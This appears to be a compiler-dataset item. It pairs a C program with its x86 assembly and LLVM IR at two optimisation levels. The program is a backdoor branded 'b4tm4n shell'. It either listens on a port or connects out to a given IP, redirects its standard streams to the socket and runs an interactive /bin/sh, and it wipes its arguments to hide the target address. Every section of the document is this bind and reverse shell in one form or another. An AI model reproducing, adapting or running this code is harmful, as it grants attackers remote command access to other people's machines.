#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  TYPE_1__ sin_addr;
  void *sin_port;
  void *sin_family;
};
struct sockaddr {
  int dummy;
};
typedef int /*<<< orphan*/ o;

/* Variables and functions */
void *AF_INET;
int /*<<< orphan*/ INADDR_ANY;
int /*<<< orphan*/ IPPROTO_TCP;
int /*<<< orphan*/ SOCK_STREAM;
int /*<<< orphan*/ SOL_SOCKET;
int /*<<< orphan*/ SO_REUSEADDR;
int accept(int, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ atoi(char *);
int /*<<< orphan*/ bind(int, struct sockaddr *, int);
int /*<<< orphan*/ bzero(char *, scalar_t__);
int /*<<< orphan*/ close(int);
scalar_t__ connect(int, struct sockaddr *, int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ exit(int /*<<< orphan*/);
int /*<<< orphan*/ htonl(int /*<<< orphan*/);
void *htons(int /*<<< orphan*/);
int /*<<< orphan*/ inet_addr(char *);
int /*<<< orphan*/ listen(int, int);
int /*<<< orphan*/ send(int, char *, int, int /*<<< orphan*/);
int /*<<< orphan*/ setsockopt(int, int /*<<< orphan*/, int /*<<< orphan*/,
                              int *, int);
int socket(void *, int /*<<< orphan*/, int /*<<< orphan*/);
scalar_t__ strlen(char *);
int /*<<< orphan*/ system(char *);
int main(int argc, char *argv[]) {
  int s, c, o = 1;
  struct sockaddr_in i;
  if (argc == 2) {
    i.sin_family = AF_INET;
    i.sin_port = htons(atoi(argv[1]));
    i.sin_addr.s_addr = htonl(INADDR_ANY);
    s = socket(AF_INET, SOCK_STREAM, 0);
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &o, sizeof(o));
    if (!s)
      exit(0);
    bind(s, (struct sockaddr *)&i, 0x10);
    listen(s, 5);
    c = accept(s, 0, 0);
    send(c, "b4tm4n shell : connected\n", 24, 0);
    dup2(c, 0);
    dup2(c, 1);
    dup2(c, 2);
    system("export TERM=xterm;PS1='$PWD>';export PS1;exec /bin/sh -i");
    close(c);
  } else if (argc == 3) {
    i.sin_family = AF_INET;
    i.sin_port = htons(atoi(argv[1]));
    i.sin_addr.s_addr = inet_addr(argv[2]);
    bzero(argv[2], strlen(argv[2]) + 1 + strlen(argv[1]));
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if ((connect(s, (struct sockaddr *)&i, sizeof(struct sockaddr))) < 0)
      exit(0);
    send(s, "b4tm4n shell : connected\n", 24, 0);
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);
    system("export TERM=xterm;PS1='$PWD>';export PS1;exec /bin/sh -i");
    close(s);
  }
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x50,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x1,-0x1c(%rbp)
cmpl   $0x2,-0x8(%rbp)
jne    1340 <main+0x130>
mov    0x2da2(%rip),%rax
mov    (%rax),%rax
mov    %rax,-0x28(%rbp)
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
call   1100 <atoi@plt>
mov    %eax,%edi
call   1060 <htons@plt>
mov    %rax,-0x30(%rbp)
mov    0x2d74(%rip),%rax
mov    (%rax),%edi
call   1090 <htonl@plt>
mov    %eax,-0x38(%rbp)
mov    0x2d6b(%rip),%rax
mov    (%rax),%rdi
mov    0x2d41(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1130 <socket@plt>
mov    %eax,-0x14(%rbp)
mov    -0x14(%rbp),%edi
mov    0x2d53(%rip),%rax
mov    (%rax),%esi
mov    0x2d1a(%rip),%rax
mov    (%rax),%edx
lea    -0x1c(%rbp),%rcx
mov    $0x4,%r8d
call   1030 <setsockopt@plt>
cmpl   $0x0,-0x14(%rbp)
jne    12c0 <main+0xb0>
xor    %edi,%edi
call   1110 <exit@plt>
mov    -0x14(%rbp),%edi
lea    -0x38(%rbp),%rsi
mov    $0x10,%edx
call   10d0 <bind@plt>
mov    -0x14(%rbp),%edi
mov    $0x5,%esi
call   10c0 <listen@plt>
mov    -0x14(%rbp),%edi
xor    %edx,%edx
mov    %edx,%esi
call   10f0 <accept@plt>
mov    %eax,-0x18(%rbp)
mov    -0x18(%rbp),%edi
lea    0xd09(%rip),%rsi
mov    $0x18,%edx
xor    %ecx,%ecx
call   1080 <send@plt>
mov    -0x18(%rbp),%edi
xor    %esi,%esi
call   1070 <dup2@plt>
mov    -0x18(%rbp),%edi
mov    $0x1,%esi
call   1070 <dup2@plt>
mov    -0x18(%rbp),%edi
mov    $0x2,%esi
call   1070 <dup2@plt>
lea    0xcec(%rip),%rdi
call   1050 <system@plt>
mov    -0x18(%rbp),%edi
call   10a0 <close@plt>
jmp    1457 <main+0x247>
cmpl   $0x3,-0x8(%rbp)
jne    1452 <main+0x242>
mov    0x2c8f(%rip),%rax
mov    (%rax),%rax
mov    %rax,-0x28(%rbp)
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
call   1100 <atoi@plt>
mov    %eax,%edi
call   1060 <htons@plt>
mov    %rax,-0x30(%rbp)
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rdi
call   10b0 <inet_addr@plt>
mov    %eax,-0x38(%rbp)
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rax
mov    %rax,-0x40(%rbp)
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rdi
call   1040 <strlen@plt>
add    $0x1,%rax
mov    %rax,-0x48(%rbp)
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
call   1040 <strlen@plt>
mov    -0x48(%rbp),%rsi
mov    -0x40(%rbp),%rdi
add    %rax,%rsi
call   10e0 <bzero@plt>
mov    0x2c1b(%rip),%rax
mov    (%rax),%rdi
mov    0x2bf1(%rip),%rax
mov    (%rax),%esi
mov    0x2bf8(%rip),%rax
mov    (%rax),%edx
call   1130 <socket@plt>
mov    %eax,-0x14(%rbp)
mov    -0x14(%rbp),%edi
lea    -0x38(%rbp),%rsi
mov    $0x4,%edx
call   1120 <connect@plt>
cmp    $0x0,%rax
jge    1404 <main+0x1f4>
xor    %edi,%edi
call   1110 <exit@plt>
mov    -0x14(%rbp),%edi
lea    0xbf2(%rip),%rsi
mov    $0x18,%edx
xor    %ecx,%ecx
call   1080 <send@plt>
mov    -0x14(%rbp),%edi
xor    %esi,%esi
call   1070 <dup2@plt>
mov    -0x14(%rbp),%edi
mov    $0x1,%esi
call   1070 <dup2@plt>
mov    -0x14(%rbp),%edi
mov    $0x2,%esi
call   1070 <dup2@plt>
lea    0xbd5(%rip),%rdi
call   1050 <system@plt>
mov    -0x14(%rbp),%edi
call   10a0 <close@plt>
jmp    1457 <main+0x247>
mov    -0x4(%rbp),%eax
add    $0x50,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %r15
push   %r14
push   %r12
push   %rbx
sub    $0x28,%rsp
mov    %rsi,%rbx
movl   $0x1,0xc(%rsp)
cmp    $0x3,%edi
je     12de <main+0xce>
cmp    $0x2,%edi
jne    13b4 <main+0x1a4>
mov    0x2da1(%rip),%r14
mov    (%r14),%rax
mov    %rax,0x20(%rsp)
mov    0x8(%rbx),%rdi
call   1100 <atoi@plt>
mov    %eax,%edi
call   1060 <htons@plt>
mov    %rax,0x18(%rsp)
mov    0x2d75(%rip),%rax
mov    (%rax),%edi
call   1090 <htonl@plt>
mov    %eax,0x10(%rsp)
mov    (%r14),%rdi
mov    0x2d48(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1130 <socket@plt>
mov    %eax,%ebx
mov    0x2d5e(%rip),%rax
mov    (%rax),%esi
mov    0x2d25(%rip),%rax
mov    (%rax),%edx
lea    0xc(%rsp),%rcx
mov    %ebx,%edi
mov    $0x4,%r8d
call   1030 <setsockopt@plt>
test   %ebx,%ebx
je     13c2 <main+0x1b2>
lea    0x10(%rsp),%rsi
mov    %ebx,%edi
mov    $0x10,%edx
call   10d0 <bind@plt>
mov    %ebx,%edi
mov    $0x5,%esi
call   10c0 <listen@plt>
mov    %ebx,%edi
xor    %esi,%esi
xor    %edx,%edx
call   10f0 <accept@plt>
mov    %eax,%ebx
jmp    136b <main+0x15b>
mov    0x2cfb(%rip),%r12
mov    (%r12),%rax
mov    %rax,0x20(%rsp)
mov    0x8(%rbx),%rdi
call   1100 <atoi@plt>
mov    %eax,%edi
call   1060 <htons@plt>
mov    %rax,0x18(%rsp)
mov    0x10(%rbx),%rdi
call   10b0 <inet_addr@plt>
mov    %eax,0x10(%rsp)
mov    0x10(%rbx),%r14
mov    %r14,%rdi
call   1040 <strlen@plt>
mov    %rax,%r15
mov    0x8(%rbx),%rdi
call   1040 <strlen@plt>
lea    (%r15,%rax,1),%rsi
add    $0x1,%rsi
mov    %r14,%rdi
call   10e0 <bzero@plt>
mov    (%r12),%rdi
mov    0x2c7d(%rip),%rax
mov    (%rax),%esi
mov    0x2c84(%rip),%rax
mov    (%rax),%edx
call   1130 <socket@plt>
mov    %eax,%ebx
lea    0x10(%rsp),%rsi
mov    %eax,%edi
mov    $0x4,%edx
call   1120 <connect@plt>
test   %rax,%rax
js     13c2 <main+0x1b2>
lea    0xc8e(%rip),%rsi
mov    %ebx,%edi
mov    $0x18,%edx
xor    %ecx,%ecx
call   1080 <send@plt>
mov    %ebx,%edi
xor    %esi,%esi
call   1070 <dup2@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1070 <dup2@plt>
mov    %ebx,%edi
mov    $0x2,%esi
call   1070 <dup2@plt>
lea    0xc72(%rip),%rdi
call   1050 <system@plt>
mov    %ebx,%edi
call   10a0 <close@plt>
xor    %eax,%eax
add    $0x28,%rsp
pop    %rbx
pop    %r12
pop    %r14
pop    %r15
ret
xor    %edi,%edi
call   1110 <exit@plt>

LLVM IR (-O0):
%struct.sockaddr_in = type { %struct.TYPE_2__, i8*, i8* }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i8* null
@INADDR_ANY = global i32 0
@SOCK_STREAM = global i32 0
@SOL_SOCKET = global i32 0
@SO_REUSEADDR = global i32 0
@.str = [26 x i8] c"b4tm4n shell : connected\0A\00"
@.str.1 = [57 x i8] c"export TERM=xterm;PS1='$PWD>';export PS1;exec /bin/sh -i\00"
@IPPROTO_TCP = global i32 0
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
%9 = alloca %struct.sockaddr_in
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 1, i32* %8
%10 = load i32, i32* %4
%11 = icmp eq i32 %10, 2
br i1 %11, label %12, label %55
12: ; preds = %2
%13 = load i8*, i8** @AF_INET
%14 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %9, i32 0, i32 2
store i8* %13, i8** %14
%15 = load i8**, i8*** %5
%16 = getelementptr inbounds i8*, i8** %15, i64 1
%17 = load i8*, i8** %16
%18 = call i32 @atoi(i8* %17)
%19 = call i8* @htons(i32 %18)
%20 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %9, i32 0, i32 1
store i8* %19, i8** %20
%21 = load i32, i32* @INADDR_ANY
%22 = call i32 @htonl(i32 %21)
%23 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %9, i32 0, i32 0
%24 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %23, i32 0, i32 0
store i32 %22, i32* %24
%25 = load i8*, i8** @AF_INET
%26 = load i32, i32* @SOCK_STREAM
%27 = call i32 @socket(i8* %25, i32 %26, i32 0)
store i32 %27, i32* %6
%28 = load i32, i32* %6
%29 = load i32, i32* @SOL_SOCKET
%30 = load i32, i32* @SO_REUSEADDR
%31 = call i32 @setsockopt(i32 %28, i32 %29, i32 %30, i32* %8, i32 4)
%32 = load i32, i32* %6
%33 = icmp ne i32 %32, 0
br i1 %33, label %36, label %34
34: ; preds = %12
%35 = call i32 @exit(i32 0)
unreachable
36: ; preds = %12
%37 = load i32, i32* %6
%38 = bitcast %struct.sockaddr_in* %9 to %struct.sockaddr*
%39 = call i32 @bind(i32 %37, %struct.sockaddr* %38, i32 16)
%40 = load i32, i32* %6
%41 = call i32 @listen(i32 %40, i32 5)
%42 = load i32, i32* %6
%43 = call i32 @accept(i32 %42, i32 0, i32 0)
store i32 %43, i32* %7
%44 = load i32, i32* %7
%45 = call i32 @send(i32 %44, i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0), i32 24, i32 0)
%46 = load i32, i32* %7
%47 = call i32 @dup2(i32 %46, i32 0)
%48 = load i32, i32* %7
%49 = call i32 @dup2(i32 %48, i32 1)
%50 = load i32, i32* %7
%51 = call i32 @dup2(i32 %50, i32 2)
%52 = call i32 @system(i8* getelementptr inbounds ([57 x i8], [57 x i8]* @.str.1, i64 0, i64 0))
%53 = load i32, i32* %7
%54 = call i32 @close(i32 %53)
br label %110
55: ; preds = %2
%56 = load i32, i32* %4
%57 = icmp eq i32 %56, 3
br i1 %57, label %58, label %109
58: ; preds = %55
%59 = load i8*, i8** @AF_INET
%60 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %9, i32 0, i32 2
store i8* %59, i8** %60
%61 = load i8**, i8*** %5
%62 = getelementptr inbounds i8*, i8** %61, i64 1
%63 = load i8*, i8** %62
%64 = call i32 @atoi(i8* %63)
%65 = call i8* @htons(i32 %64)
%66 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %9, i32 0, i32 1
store i8* %65, i8** %66
%67 = load i8**, i8*** %5
%68 = getelementptr inbounds i8*, i8** %67, i64 2
%69 = load i8*, i8** %68
%70 = call i32 @inet_addr(i8* %69)
%71 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %9, i32 0, i32 0
%72 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %71, i32 0, i32 0
store i32 %70, i32* %72
%73 = load i8**, i8*** %5
%74 = getelementptr inbounds i8*, i8** %73, i64 2
%75 = load i8*, i8** %74
%76 = load i8**, i8*** %5
%77 = getelementptr inbounds i8*, i8** %76, i64 2
%78 = load i8*, i8** %77
%79 = call i64 @strlen(i8* %78)
%80 = add nsw i64 %79, 1
%81 = load i8**, i8*** %5
%82 = getelementptr inbounds i8*, i8** %81, i64 1
%83 = load i8*, i8** %82
%84 = call i64 @strlen(i8* %83)
%85 = add nsw i64 %80, %84
%86 = call i32 @bzero(i8* %75, i64 %85)
%87 = load i8*, i8** @AF_INET
%88 = load i32, i32* @SOCK_STREAM
%89 = load i32, i32* @IPPROTO_TCP
%90 = call i32 @socket(i8* %87, i32 %88, i32 %89)
store i32 %90, i32* %6
%91 = load i32, i32* %6
%92 = bitcast %struct.sockaddr_in* %9 to %struct.sockaddr*
%93 = call i64 @connect(i32 %91, %struct.sockaddr* %92, i32 4)
%94 = icmp slt i64 %93, 0
br i1 %94, label %95, label %97
95: ; preds = %58
%96 = call i32 @exit(i32 0)
unreachable
97: ; preds = %58
%98 = load i32, i32* %6
%99 = call i32 @send(i32 %98, i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0), i32 24, i32 0)
%100 = load i32, i32* %6
%101 = call i32 @dup2(i32 %100, i32 0)
%102 = load i32, i32* %6
%103 = call i32 @dup2(i32 %102, i32 1)
%104 = load i32, i32* %6
%105 = call i32 @dup2(i32 %104, i32 2)
%106 = call i32 @system(i8* getelementptr inbounds ([57 x i8], [57 x i8]* @.str.1, i64 0, i64 0))
%107 = load i32, i32* %6
%108 = call i32 @close(i32 %107)
br label %109
109: ; preds = %97, %55
br label %110
110: ; preds = %109, %36
%111 = load i32, i32* %3
ret i32 %111
}

LLVM IR (-O2):
%struct.sockaddr_in = type { %struct.TYPE_2__, i8*, i8* }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i8* null
@INADDR_ANY = global i32 0
@SOCK_STREAM = global i32 0
@SOL_SOCKET = global i32 0
@SO_REUSEADDR = global i32 0
@.str = [26 x i8] c"b4tm4n shell : connected\0A\00"
@.str.1 = [57 x i8] c"export TERM=xterm;PS1='$PWD>';export PS1;exec /bin/sh -i\00"
@IPPROTO_TCP = global i32 0
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca i32
%4 = alloca %struct.sockaddr_in
%5 = bitcast i32* %3 to i8*
store i32 1, i32* %3
%6 = bitcast %struct.sockaddr_in* %4 to i8*
switch i32 %0, label %68 [
i32 2, label %7
i32 3, label %32
]
7: ; preds = %2
%8 = load i8*, i8** @AF_INET
%9 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 2
store i8* %8, i8** %9
%10 = getelementptr inbounds i8*, i8** %1, i64 1
%11 = load i8*, i8** %10
%12 = tail call i32 @atoi(i8* %11)
%13 = tail call i8* @htons(i32 %12)
%14 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 1
store i8* %13, i8** %14
%15 = load i32, i32* @INADDR_ANY
%16 = tail call i32 @htonl(i32 %15)
%17 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 0, i32 0
store i32 %16, i32* %17
%18 = load i8*, i8** @AF_INET
%19 = load i32, i32* @SOCK_STREAM
%20 = tail call i32 @socket(i8* %18, i32 %19, i32 0)
%21 = load i32, i32* @SOL_SOCKET
%22 = load i32, i32* @SO_REUSEADDR
%23 = call i32 @setsockopt(i32 %20, i32 %21, i32 %22, i32* %3, i32 4)
%24 = icmp eq i32 %20, 0
br i1 %24, label %25, label %27
25: ; preds = %7
%26 = call i32 @exit(i32 0)
unreachable
27: ; preds = %7
%28 = bitcast %struct.sockaddr_in* %4 to %struct.sockaddr*
%29 = call i32 @bind(i32 %20, %struct.sockaddr* %28, i32 16)
%30 = call i32 @listen(i32 %20, i32 5)
%31 = call i32 @accept(i32 %20, i32 0, i32 0)
br label %60
32: ; preds = %2
%33 = load i8*, i8** @AF_INET
%34 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 2
store i8* %33, i8** %34
%35 = getelementptr inbounds i8*, i8** %1, i64 1
%36 = load i8*, i8** %35
%37 = tail call i32 @atoi(i8* %36)
%38 = tail call i8* @htons(i32 %37)
%39 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 1
store i8* %38, i8** %39
%40 = getelementptr inbounds i8*, i8** %1, i64 2
%41 = load i8*, i8** %40
%42 = tail call i32 @inet_addr(i8* %41)
%43 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 0, i32 0
store i32 %42, i32* %43
%44 = load i8*, i8** %40
%45 = tail call i64 @strlen(i8* dereferenceable(1) %44)
%46 = add nsw i64 %45, 1
%47 = load i8*, i8** %35
%48 = tail call i64 @strlen(i8* dereferenceable(1) %47)
%49 = add nsw i64 %46, %48
%50 = tail call i32 @bzero(i8* %44, i64 %49)
%51 = load i8*, i8** @AF_INET
%52 = load i32, i32* @SOCK_STREAM
%53 = load i32, i32* @IPPROTO_TCP
%54 = tail call i32 @socket(i8* %51, i32 %52, i32 %53)
%55 = bitcast %struct.sockaddr_in* %4 to %struct.sockaddr*
%56 = call i64 @connect(i32 %54, %struct.sockaddr* %55, i32 4)
%57 = icmp slt i64 %56, 0
br i1 %57, label %58, label %60
58: ; preds = %32
%59 = call i32 @exit(i32 0)
unreachable
60: ; preds = %32, %27
%61 = phi i32 [ %31, %27 ], [ %54, %32 ]
%62 = call i32 @send(i32 %61, i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0), i32 24, i32 0)
%63 = call i32 @dup2(i32 %61, i32 0)
%64 = call i32 @dup2(i32 %61, i32 1)
%65 = call i32 @dup2(i32 %61, i32 2)
%66 = call i32 @system(i8* getelementptr inbounds ([57 x i8], [57 x i8]* @.str.1, i64 0, i64 0))
%67 = call i32 @close(i32 %61)
br label %68
68: ; preds = %60, %2
ret i32 0
}